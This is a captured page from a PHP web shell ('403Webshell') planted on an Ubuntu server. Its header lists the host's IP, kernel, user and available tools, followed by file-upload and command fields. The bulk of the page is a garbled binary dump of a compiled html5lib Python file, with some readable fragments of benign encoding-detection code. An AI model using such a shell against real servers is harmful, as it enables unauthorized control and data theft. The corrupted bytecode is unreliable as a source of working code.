403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/html5lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/html5lib/__pycache__/_inputstream.cpython-312.pyc
�

V=�^,~��"�ddlmZmZmZddlmZddlmZmZddl	Z	ddl
Z
ddlmZm
Z
ddlZddlmZmZmZmZddlmZdd	lmZeeD�cgc]}|j1d
���c}�ZeeD�cgc]}|j1d
���c}�ZeeD�cgc]}|j1d
���c}�Zeeddg�zZd
Zej<r@eddk(rej?d�dk(sJ�e
j@edde!d�zdz�Z"ne
j@e�Z"hd�Z#e
j@d�Z$iZ%Gd�de&�Z'd�Z(Gd�de&�Z)Gd�de)�Z*Gd�de+�Z,Gd�de&�Z-Gd�de&�Z.d �Z/ycc}wcc}wcc}w)!�)�absolute_import�division�unicode_literals)�	text_type)�http_client�urllibN)�BytesIO�StringIO�)�EOF�spaceCharacters�asciiLetters�asciiUppercase)�_ReparseException)�_utils�ascii�>�<u�[---Ÿ﷐-﷯￾￿🿾🿿𯿾𯿿𿿾𿿿񏿾񏿿񟿾񟿿񯿾񯿿񿿾񿿿򏿾򏿿򟿾򟿿򯿾򯿿򿿾򿿿󏿾󏿿󟿾󟿿󯿾󯿿󿿾󿿿􏿾􏿿]����]z"\uD800-\uDFFF"> ���������	�
���
������������	�
���
���z[	-
 -/:-@\[-`{-~]c�:�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
y	)
�BufferedStreamz�Buffering for streams that do not have buffering of their own

    The buffer is implemented as a list of chunks on the assumption that
    joining many strings will be slow since it is O(n**2)
    c�2�||_g|_ddg|_y)Nrr)�stream�buffer�position)�selfr:s  �7/usr/lib/python3/dist-packages/html5lib/_inputstream.py�__init__zBufferedStream.__init__:s���������Q���
�c��d}|jd|jdD]}|t|�z
}�||jdz
}|S�Nrr)r;r<�len)r=�pos�chunks   r>�tellzBufferedStream.tell?sQ�����[�[�!2�$�-�-��"2�3�	�E��3�u�:��C�	��t�}�}�Q�����
r@c��||j�ksJ�|}d}t|j|�|kr<|t|j|�z}|dz
}t|j|�|kr�<||g|_yrB)�_bufferedBytesrCr;r<)r=rD�offset�is    r>�seekzBufferedStream.seekFs|���d�)�)�+�+�+�+���
���$�+�+�a�.�!�F�*��c�$�+�+�a�.�)�)�F�
��F�A��$�+�+�a�.�!�F�*��F���
r@c��|js|j|�S|jdt|j�k(r9|jdt|jd�k(r|j|�S|j	|�S)Nrrr)r;�_readStreamr<rC�_readFromBuffer�r=�bytess  r>�readzBufferedStream.readOst���{�{��#�#�E�*�*��m�m�A��#�d�k�k�"2�2��m�m�A��#�d�k�k�"�o�"6�6��#�#�E�*�*��'�'��.�.r@c�d�t|jD�cgc]
}t|���c}�Scc}w�N)�sumr;rC)r=�items  r>rHzBufferedStream._bufferedBytesXs#���$�+�+�6�$�C��I�6�7�7��6s�-c���|jj|�}|jj|�|jdxxdz
cc<t|�|jd<|SrB)r:rQr;�appendr<rC)r=rP�datas   r>rMzBufferedStream._readStream[sS���{�{����&�������4� ��
�
�a��A����t�9��
�
�a���r@c��|}g}|jd}|jd}|t|j�kr�|dk7r�|dkDsJ�|j|}|t|�|z
kr|}|||zg|_n%t|�|z
}|t|�g|_|dz
}|j||||z�||z}d}|t|j�kr|dk7r��|r |j|j	|��dj|�S)Nrrr@)r<rCr;rWrM�join)r=rP�remainingBytes�rv�bufferIndex�bufferOffset�bufferedData�bytesToReads        r>rNzBufferedStream._readFromBufferbs����
���m�m�A�&���}�}�Q�'���C����,�,��1�1D�!�A�%�%�%��;�;�{�3�L���\�!2�\�!A�A�,��!,�l�[�.H� I��
�!�,�/�,�>��!,�c�,�.?� @��
��q� ���I�I�l�<��{�0J�K�L��k�)�N��L��C����,�,��1�1D� ��I�I�d�&�&�~�6�7��x�x��|�r@N)�__name__�
__module__�__qualname__�__doc__r?rFrKrQrHrMrN�r@r>r8r83s*��� �
�$�/�8��r@r8c���t|tj�sHt|tjj
�r't|jtj�rd}n<t|d�r t|jd�t�}nt|t�}|r=|D�cgc]}|jd�s�|��}}|rtd|z��t|fi|��St|fi|��Scc}w)NFrQr�	_encodingz3Cannot set an encoding with a unicode input, set %r)�
isinstancer�HTTPResponser�response�addbase�fp�hasattrrQr�endswith�	TypeError�HTMLUnicodeInputStream�HTMLBinaryInputStream)�source�kwargs�	isUnicode�x�	encodingss     r>�HTMLInputStreamrw}s���	�6�;�3�3�4�	�F�F�O�O�3�3�	4�	�F�I�I�{�7�7�	8��	�	���	 ��v�{�{�1�~�y�9�	��v�y�1�	�� &�B�1�!�*�*�[�*A�Q�B�	�B���Q�T]�]�^�^�%�f�7��7�7�$�V�6�v�6�6��
Cs�(C-�?C-c�Z�eZdZdZdZd�Zd�Zd�Zd�Zd�Z	d�Z
dd
�Zd�Zd�Z
dd
�Zd�Zy	)rp��Provides a unicode stream of characters to the HTMLTokenizer.

    This class takes care of character encoding and removing or replacing
    incorrect byte-sequences and also provides column and line tracking.

    i(c��tjsd|_n1td�dk(r|j|_n|j
|_dg|_td�df|_|j|�|_
|j�y)�Initialises the HTMLInputStream.

        HTMLInputStream(source, [encoding]) -> Normalized stream from source
        for use by html5lib.

        source can be either a file-object, local filename or a string.

        The optional encoding parameter must be a string that indicates
        the encoding.  If specified, that encoding will be used,
        regardless of any BOM or later declaration (such as in a meta
        element)

        Nu􏿿rr�utf-8�certain)r�supports_lone_surrogates�reportCharacterErrorsrC�characterErrorsUCS4�characterErrorsUCS2�newLines�lookupEncoding�charEncoding�
openStream�
dataStream�reset)r=rrs  r>r?zHTMLUnicodeInputStream.__init__�sv���.�.�*.�D�&�
��
�!�
#�)-�)A�)A�D�&�)-�)A�)A�D�&����
�+�G�4�i�@����/�/�&�1����
�
�r@c�f�d|_d|_d|_g|_d|_d|_d|_y)N�r)rE�	chunkSize�chunkOffset�errors�prevNumLines�prevNumCols�_bufferedCharacter�r=s r>r�zHTMLUnicodeInputStream.reset�s;����
����������������#'��r@c�<�t|d�r|}|St|�}|S�zvProduces a file object from source.

        source can be either a file object, local filename or a string.

        rQ)rmr
�r=rrr:s   r>r�z!HTMLUnicodeInputStream.openStream�s+���6�6�"��F��
��f�%�F��
r@c���|j}|jdd|�}|j|z}|jdd|�}|dk(r|j|z}||fS||dzz
}||fS)N�
rrr)rE�countr��rfindr�)r=rIrE�nLines�positionLine�lastLinePos�positionColumns       r>�	_positionz HTMLUnicodeInputStream._position�s���
�
�����T�1�f�-���(�(�6�1���k�k�$��6�2���"��!�-�-��6�N��n�-�-�$�{�Q��7�N��n�-�-r@c�L�|j|j�\}}|dz|fS)z:Returns (line, col) of the current position in the stream.r)r�r�)r=�line�cols   r>r<zHTMLUnicodeInputStream.position�s(���N�N�4�#3�#3�4�	��c��q��#��r@c��|j|jk\r|j�stS|j}|j|}|dz|_|S)zo Read one character from the stream or queue if available. Return
            EOF when EOF is reached.
        r)r�r��	readChunkrrE)r=r��chars   r>r�zHTMLUnicodeInputStream.char�sO��
���t�~�~�-��>�>�#��
��&�&���z�z�+�&��&��?����r@Nc�H�|�|j}|j|j�\|_|_d|_d|_d|_|jj|�}|jr|j|z}d|_	n|syt|�dkDr0t|d�}|dk(sd|cxkrdkrnn|d|_	|dd}|jr|j|�|jd	d
�}|jdd
�}||_t|�|_y)
Nr�rFrr�
��i��z
r��
T)�_defaultChunkSizer�r�r�r�rEr�r�rQr�rC�ordr�replace)r=r�rX�lastvs    r>r�z HTMLUnicodeInputStream.readChunk�s�����.�.�I�.2�n�n�T�^�^�.L�+���4�+���
����������#�#�I�.���"�"��*�*�T�1�D�&*�D�#����t�9�q�=���R��M�E���}��%� 9�6� 9�*.�r�(��'��C�R�y���%�%��&�&�t�,��|�|�F�D�)���|�|�D�$�'����
��T����r@c��tttj|���D]}|jjd��y)N�invalid-codepoint)�rangerC�invalid_unicode_re�findallr�rW)r=rX�_s   r>r�z*HTMLUnicodeInputStream.characterErrorsUCS4s:���s�-�5�5�d�;�<�=�	4�A��K�K���2�3�	4r@c���d}tj|�D]�}|r�t|j��}|j	�}tj|||dz�rAtj|||dz�}|tvr|jjd�d}��|dk\r2|dkr-|t|�dz
k(r|jjd���d}|jjd���y)NF�r�Tr�i��r)r��finditerr��group�startr�isSurrogatePair�surrogatePairToCodepoint�non_bmp_invalid_codepointsr�rWrC)r=rX�skip�match�	codepointrD�char_vals       r>r�z*HTMLUnicodeInputStream.characterErrorsUCS2#s�����'�0�0��6�	8�E����E�K�K�M�*�I��+�+�-�C��%�%�d�3�s�Q�w�&7�8�!�:�:�4��C�!�G�;L�M���9�9��K�K�&�&�':�;����v�%�)�v�*=���T��Q��&����"�"�#6�7������"�"�#6�7�#	8r@c
���	t||f}g}	|j
|j|j�}|�|j|jk7rPn�|j�}||jk7r0|j|j|j|�||_n:|j|j|jd�|j�sn��dj|�}	|	S#t$rw	|D]}t|�dkr�J�dj|D�cgc]}dt|�z��ncc}wc}�}|sd|z}t	j
d|z�x}t||f<Y��`wxYw)z� Returns a string of characters from the stream up to but not
        including any character in 'characters' or EOF. 'characters' must be
        a container that supports the 'in' method and iteration over its
        characters.
        �r�z\x%02xz^%sz[%s]+N)
�charsUntilRegEx�KeyErrorr�rZ�re�compiler�rEr�r��endrWr�)
r=�
characters�opposite�chars�c�regexr\�mr��rs
          r>�
charsUntilz!HTMLUnicodeInputStream.charsUntil:sg��		Z�#�Z��$:�;�E�������D�J�J��(8�(8�9�A��y��#�#�t�~�~�5���e�e�g���$�.�.�(��I�I�d�j�j��)9�)9�#�>�?�'*�D�$��
�I�I�d�j�j��!1�!1�!2�3�4��>�>�#��+�.
�G�G�B�K�����G�	Z��#�)�A��q�6�C�<�(�<�)��G�G��D�A�Y��Q��/�D��D�E�E����
��>@�j�j��SX��>Y�Y�E�O�Z��$:�;�	Z�s#�C.�.E.�E.�D4
�37E.�-E.c���|turm|jdk(r*||jz|_|xjdz
c_y|xjdzc_|j|j|k(sJ�yyrB)rr�rEr�)r=r�s  r>�ungetzHTMLUnicodeInputStream.ungetisl���s�?����1�$�"�D�J�J�.��
����!�#��� � �A�%� ��z�z�$�"2�"2�3�t�;�;�;�r@rS)F)rarbrcrdr�r?r�r�r�r<r�r�r�r�r�r�rer@r>rprp�sI������@'��	.��

�$�L4�8�.-�^<r@rpc�D�eZdZdZ			d
d�Zd�Zd�Zdd�Zd�Zd�Z	d	�Z
y)rqryNc�@�|j|�|_tj||j�d|_d|_||_||_||_||_	||_
|j|�|_|jd�J�|j�y)r{i�drN)r��	rawStreamrpr?�numBytesMeta�numBytesChardet�override_encoding�transport_encoding�same_origin_parent_encoding�likely_encoding�default_encoding�determineEncodingr�r�)r=rrr�r�r�r�r��
useChardets        r>r?zHTMLBinaryInputStream.__init__�s���$����0����'�'��d�n�n�=�
!���"���!2���"4���+F��(�.��� 0���!�2�2�:�>���� � ��#�/�/�/�	
�
�
�r@c��|jdjj|jd�|_t
j
|�y)Nrr�)r��
codec_info�streamreaderr�r�rpr�r�s r>r�zHTMLBinaryInputStream.reset�s:���+�+�A�.�9�9�F�F�t�~�~�W`�a����$�$�T�*r@c��t|d�r|}nt|�}	|j|j��|S#t$rt|�}Y|SwxYwr�)rmr	rKrF�	Exceptionr8r�s   r>r�z HTMLBinaryInputStream.openStream�sZ���6�6�"��F��V�_�F�	,��K�K����
�&��
���	,�#�F�+�F��
�	,�s�=�A�Ac��|j�df}|d�|St|j�df}|d�|St|j�df}|d�|S|j	�df}|d�|St|j
�df}|d� |djjd�s|St|j�df}|d�|S|r�	ddl	m
}g}|�}|jsi|jj|j�}t|t �sJ�|sn/|j#|�|j%|�|js�i|j'�t|j(d�}|jj+d�|�|dfSt|j.�df}|d�|Std�dfS#t,$rY�6wxYw)Nr}r�	tentativezutf-16)�UniversalDetector�encoding�windows-1252)�	detectBOMr�r�r��detectEncodingMetar��name�
startswithr��chardet.universaldetectorr��doner�rQr�rhrPrW�feed�close�resultrK�ImportErrorr�)r=�chardetr�r��buffers�detectorr;r�s        r>r�z'HTMLBinaryInputStream.determineEncoding�s���~�~�'��2����?�&���&�d�&<�&<�=�y�H����?�&���&�d�&=�&=�>�	�I����?�&����.�.�0�+�=����?�&���&�d�&F�&F�G��T����?�&�|�A��/C�/C�/N�/N�x�/X���&�d�&:�&:�;�[�H����?�&����
1�G���,�.��"�-�-�!�^�^�0�0��1E�1E�F�F�%�f�e�4�4�4�!���N�N�6�*��M�M�&�)�
#�-�-���� �)�(�/�/�*�*E�F�����#�#�A�&��'�#�[�0�0�&�d�&;�&;�<�k�I����?�&����n�-�{�:�:��1�
��
�s�G�	G�Gc�x�|jddk7sJ�t|�}|�y|jdvrtd�}|�J�y||jdk(r|jddf|_y|jj	d�|df|_|j�t
d|jd�d|����)Nrr}��utf-16be�utf-16ler|rzEncoding changed from z to )r�r�r�r�rKr�r)r=�newEncodings  r>�changeEncodingz$HTMLBinaryInputStream.changeEncodings���� � ��#�y�0�0�0�$�[�1��������7�7�(��1�K��*�*�*�
�D�-�-�a�0�
0�!%�!2�!2�1�!5�y� A�D���N�N����"�!,�i� 8�D���J�J�L�#��HY�HY�Z[�H\�^i�$j�k�kr@c
��tjdtjdtjdtjdtj
di}|jjd�}t|t�sJ�|j|dd�}d}|s+|j|�}d}|s|j|dd	�}d	}|r&|jj|�t|�S|jjd
�y)z�Attempts to detect at BOM at the start of the stream. If
        an encoding can be determined from the BOM return the name of the
        encoding otherwise return Noner|r�r�zutf-32lezutf-32be�N�r�r)
�codecs�BOM_UTF8�BOM_UTF16_LE�BOM_UTF16_BE�BOM_UTF32_LE�BOM_UTF32_BEr�rQrhrP�getrKr�)r=�bomDict�stringr�rKs     r>r�zHTMLBinaryInputStream.detectBOMs���

�O�O�W�����V�-@�-@�*�����V�-@�-@�*�
�����$�$�Q�'���&�%�(�(�(��;�;�v�b�q�z�*������{�{�6�*�H��D��"�;�;�v�b�q�z�2������N�N����%�!�(�+�+��N�N����"�r@c��|jj|j�}t|t�sJ�t|�}|jj
d�|j�}|�|jdvrtd�}|S)z9Report the encoding declared by the meta element
        rr�r|)
r�rQr�rhrP�EncodingParserrK�getEncodingr�r�)r=r;�parserr�s    r>r�z(HTMLBinaryInputStream.detectEncodingMeta3sy�����$�$�T�%6�%6�7���&�%�(�(�(���'�������A���%�%�'����H�M�M�5M�$M�%�g�.�H��r@)NNNNr�T)T)rarbrcrdr?r�r�r�r�r�r�rer@r>rqrqzs;���KO�CG�=A�(�T+��&<;�|l�  �Dr@rqc��eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zeee
�Z
d
�Zee�Zefd�Zd�Zd
�Zd�Zy)�
EncodingBytesz�String-like object with an associated position and various extra methods
    If the position is ever greater than the string length then an exception is
    raisedc�n�t|t�sJ�tj||j��SrS)rhrP�__new__�lower�r=�values  r>rzEncodingBytes.__new__Fs)���%��'�'�'��}�}�T�5�;�;�=�1�1r@c��d|_y)Nr)r�r
s  r>r?zEncodingBytes.__init__Js	����r@c��|SrSrer�s r>�__iter__zEncodingBytes.__iter__Ns���r@c�|�|jdzx}|_|t|�k\rt�|dkrt�|||dzS)Nrr�r�rC�
StopIterationro�r=�ps  r>�__next__zEncodingBytes.__next__QsD��!�^�^�a�/�/��D�N���D�	�>���
��U��O��A�a�!�e�}�r@c�"�|j�SrS)rr�s r>�nextzEncodingBytes.nextYs���}�}��r@c��|j}|t|�k\rt�|dkrt�|dz
x|_}|||dzSrBrrs  r>�previouszEncodingBytes.previous]sH���N�N����D�	�>���
��U��O���U�"�����A�a�!�e�}�r@c�N�|jt|�k\rt�||_yrS�r�rCr)r=r<s  r>�setPositionzEncodingBytes.setPositionfs���>�>�S��Y�&���!��r@c�v�|jt|�k\rt�|jdk\r|jSy)Nrrr�s r>�getPositionzEncodingBytes.getPositionks1���>�>�S��Y�&����>�>�Q���>�>�!�r@c�:�||j|jdzS�Nr)r<r�s r>�getCurrentBytezEncodingBytes.getCurrentByteus���D�M�M�$�-�-�!�"3�4�4r@c��|j}|t|�kr)|||dz}||vr	||_|S|dz
}|t|�kr�)||_y)zSkip past a list of charactersrN�r<rCr��r=r�rr�s    r>r�zEncodingBytes.skipzsZ���M�M���#�d�)�m��Q�q�1�u�
�A���~�!"�����
��F�A��#�d�)�m����r@c��|j}|t|�kr)|||dz}||vr	||_|S|dz
}|t|�kr�)||_yr"r%r&s    r>�	skipUntilzEncodingBytes.skipUntil�sZ���M�M���#�d�)�m��Q�q�1�u�
�A��E�z�!"�����
��F�A��#�d�)�m����r@c�~�|j||j�}|r|xjt|�z
c_|S)z�Look for a sequence of bytes at the start of a string. If the bytes
        are found return True and advance the position to the byte after the
        match. Otherwise return False and leave the position alone)r�r<rC)r=rPr\s   r>�
matchByteszEncodingBytes.matchBytes�s2���_�_�U�D�M�M�
2��
��M�M�S��Z�'�M��	r@c��	|j||j�t|�zdz
|_y#t$rt
�wxYw)z�Look for the next sequence of bytes matching a given sequence. If
        a match is found advance the position to the last byte of the matchrT)�indexr<rCr��
ValueErrorrrOs  r>�jumpTozEncodingBytes.jumpTo�sG��	 �!�Z�Z��t�}�}�=��E�
�J�Q�N�D�N����	 ���	 �s	�03�AN)rarbrcrdrr?rrrrrr �propertyr<r#�currentByte�spaceCharactersBytesr�r(r*r.rer@r>r	r	Bse���2������"�
���[�1�H�5��>�*�K�-�
�	��r@r	c�F�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zy)rz?Mini parser for detecting character encoding from meta elementsc�2�t|�|_d|_y)z3string - the data to work on for encoding detectionN)r	rXr��r=rXs  r>r?zEncodingParser.__init__�s��!�$�'��	���
r@c��d|jvryd|jfd|jfd|jfd|jfd|jfd|j
ff}|jD]^}d}	|jj
d�|D]*\}}|jj|�s�"	|�}n|r�S|jS|jS#t$rY|jSwxYw#t$rd}Y�FwxYw)	Ns<metas<!--s</s<!s<?rTF)
rX�
handleComment�
handleMeta�handlePossibleEndTag�handleOther�handlePossibleStartTagr.rr*r�)r=�methodDispatchr��keepParsing�key�methods      r>rzEncodingParser.getEncoding�s)���4�9�9�$���d�(�(�)�
�t���'�
�D�-�-�.�
�D�$�$�%�
�D�$�$�%�
�4�.�.�/�
1�����	�A��K�
��	�	� � ��&� .�
���V��9�9�'�'��,��&,�h���	
����}�}��#	�"�}�}���!�
���}�}��
��)��&+����s$�2C�2C4�	C1�0C1�4D�Dc�8�|jjd�S)zSkip over commentss-->�rXr.r�s r>r6zEncodingParser.handleComment�s���y�y����'�'r@c�~�|jjtvryd}d}	|j�}|�y|ddk(r|ddk(}|rv|�t||_y|ddk(r|d}t|�}|�R||_y|ddk(rBt
t|d��}|j�}|�t|�}|�|r||_y|}��)	NTFrs
http-equivrscontent-type�charsetscontent)	rXr0r1�getAttributer�r��ContentAttrParserr	�parse)r=�	hasPragma�pendingEncoding�attr�tentativeEncoding�codec�
contentParsers       r>r7zEncodingParser.handleMeta�s����9�9� � �(<�<���	�����$�$�&�D��|����7�m�+� $�Q��?� :�I� �_�%@�(7��
�$��!�W�
�*�(,�Q��%�*�+<�=�E��(�(-��
�$��!�W�
�*�$5�m�D��G�6L�$M�M�(5�(;�(;�(=�%�(�4� .�/@� A�� �,�(�05��
�',�27��7r@c�$�|jd�S)NF)�handlePossibleTagr�s r>r:z%EncodingParser.handlePossibleStartTag�s���%�%�e�,�,r@c�N�t|j�|jd�S)NT)rrXrMr�s r>r8z#EncodingParser.handlePossibleEndTag�s���T�Y�Y���%�%�d�+�+r@c�&�|j}|jtvr#|r |j�|j	�y|jt�}|dk(r|j�y|j�}|�|j�}|��y)NTr)rXr0�asciiLettersBytesrr9r(�spacesAngleBracketsrC)r=�endTagrXr�rHs     r>rMz EncodingParser.handlePossibleTag�s����y�y�����#4�4���
�
��� � �"���N�N�.�/����9�
�M�M�O���$�$�&�D��"��(�(�*���"�r@c�8�|jjd�S)Nrr@r�s r>r9zEncodingParser.handleOthers���y�y����%�%r@c��|j}|jttdg�z�}|�t	|�dk(sJ�|dvryg}g}	|dk(r|rnx|tvr|j�}n_|dvrdj|�dfS|tvr |j|j��n|�y|j|�t|�}��|dk7r#|j�dj|�dfSt|�|j�}|dvrz|}	t|�}||k(r-t|�dj|�dj|�fS|tvr |j|j��n|j|��w|d	k(rdj|�dfS|tvr |j|j��n|�y|j|�	t|�}|tvr"dj|�dj|�fS|tvr |j|j��n|�y|j|��r)
z_Return a name,value pair for the next attribute in the stream,
        if one is found, or None�/Nr)rN�=)rUrr@)�'�"r)rXr�r1�	frozensetrCrZ�asciiUppercaseBytesrWrrrrQ)r=rXr��attrName�	attrValue�	quoteChars      r>rCzEncodingParser.getAttributes9���y�y���I�I�*�Y��v�->�>�?���y�C��F�a�K�'�'��������	���D�y�X���*�*��I�I�K����l�"��x�x��)�3�.�.��)�)�������	�*��������"��T�
�A�!�$
��9��M�M�O��8�8�H�%�s�*�*��T�
��I�I�K������I����J���	�>���J��8�8�H�-�s�x�x�	�/B�B�B��-�-��$�$�Q�W�W�Y�/��$�$�Q�'���$�Y��8�8�H�%�s�*�*�
�%�
%����Q�W�W�Y�'�
�Y�����Q����T�
�A��'�'��x�x��)�3�8�8�I�+>�>�>��)�)�� � �����+����� � ��#�r@N)
rarbrcrdr?rr6r7r:r8rMr9rCrer@r>rr�s4��I��
�<(�"8�H-�,��.&�J$r@rc��eZdZd�Zd�Zy)rDc�6�t|t�sJ�||_yrS)rhrPrXr4s  r>r?zContentAttrParser.__init__as���$��&�&�&���	r@c��	|jjd�|jxjdz
c_|jj�|jjdk(sy|jxjdz
c_|jj�|jjdvr�|jj}|jxjdz
c_|jj}|jj|�r#|j||jjSy|jj}	|jjt�|j||jjS#t$r|j|dcYSwxYw#t$rYywxYw)NrBrrV)rXrW)rXr.r<r�r0r(r1r)r=�	quoteMark�oldPositions   r>rEzContentAttrParser.parseesb��	�
�I�I���Z�(��I�I���!�#���I�I�N�N���9�9�(�(�D�0���I�I���!�#���I�I�N�N���y�y�$�$��4� �I�I�1�1�	��	�	�"�"�a�'�"�"�i�i�0�0���9�9�#�#�I�.��9�9�[����1C�1C�D�D��#�i�i�0�0��3��I�I�'�'�(<�=��9�9�[����1C�1C�D�D��$�3��9�9�[�\�2�2�3���	��	�s>�A-G�0CG�G�"AF$�$F?�<G�>F?�?G�	G�
GN)rarbrcr?rErer@r>rDrD`s���r@rDc��t|t�r	|jd�}|�	t	j
|�Sy#t$rYywxYw#t$rYywxYw)z{Return the python codec name corresponding to an encoding or None if the
    string doesn't correspond to a valid encoding.rN)rhrP�decode�UnicodeDecodeError�webencodings�lookup�AttributeError)r�s r>r�r��sk���(�E�"�	����w�/�H���	��&�&�x�0�0���"�	��	���	��	�s �<�A�	A�A�	A�A)0�
__future__rrr�sixr�	six.movesrrr�r��ior	r
rf�	constantsrr
rrrr�rrY�encoder1rPrZrQ�invalid_unicode_no_surrogater~r�r��evalr�r��ascii_punctuation_rer��objectr8rwrprqrPr	rrDr�)rUs0r>�<module>rss���B�B��)�
�	� ��I�I�(��!�?�!S�4�$�+�+�g�"6�!S�T����M��t�{�{�7�3�M�N���.� Q�$����W�!5� Q�R��*�Y��d�|�-D�D�� j��	�"�"�
(��+�s�2�7S�7Y�7Y�Z]�7^�bc�7c�c�c�#����$@��"�$E�$(�)<�$=�%>�$'�%(�)��$����$@�A��2��"�r�z�z�"m�n����G�V�G�T7�.c<�V�c<�LE�2�E�P_�E�_�Dy$�V�y$�x$��$�N��m"T��M�� Qs�F�0F�F

Youez - 2016 - github.com/yon3zu
LinuXploit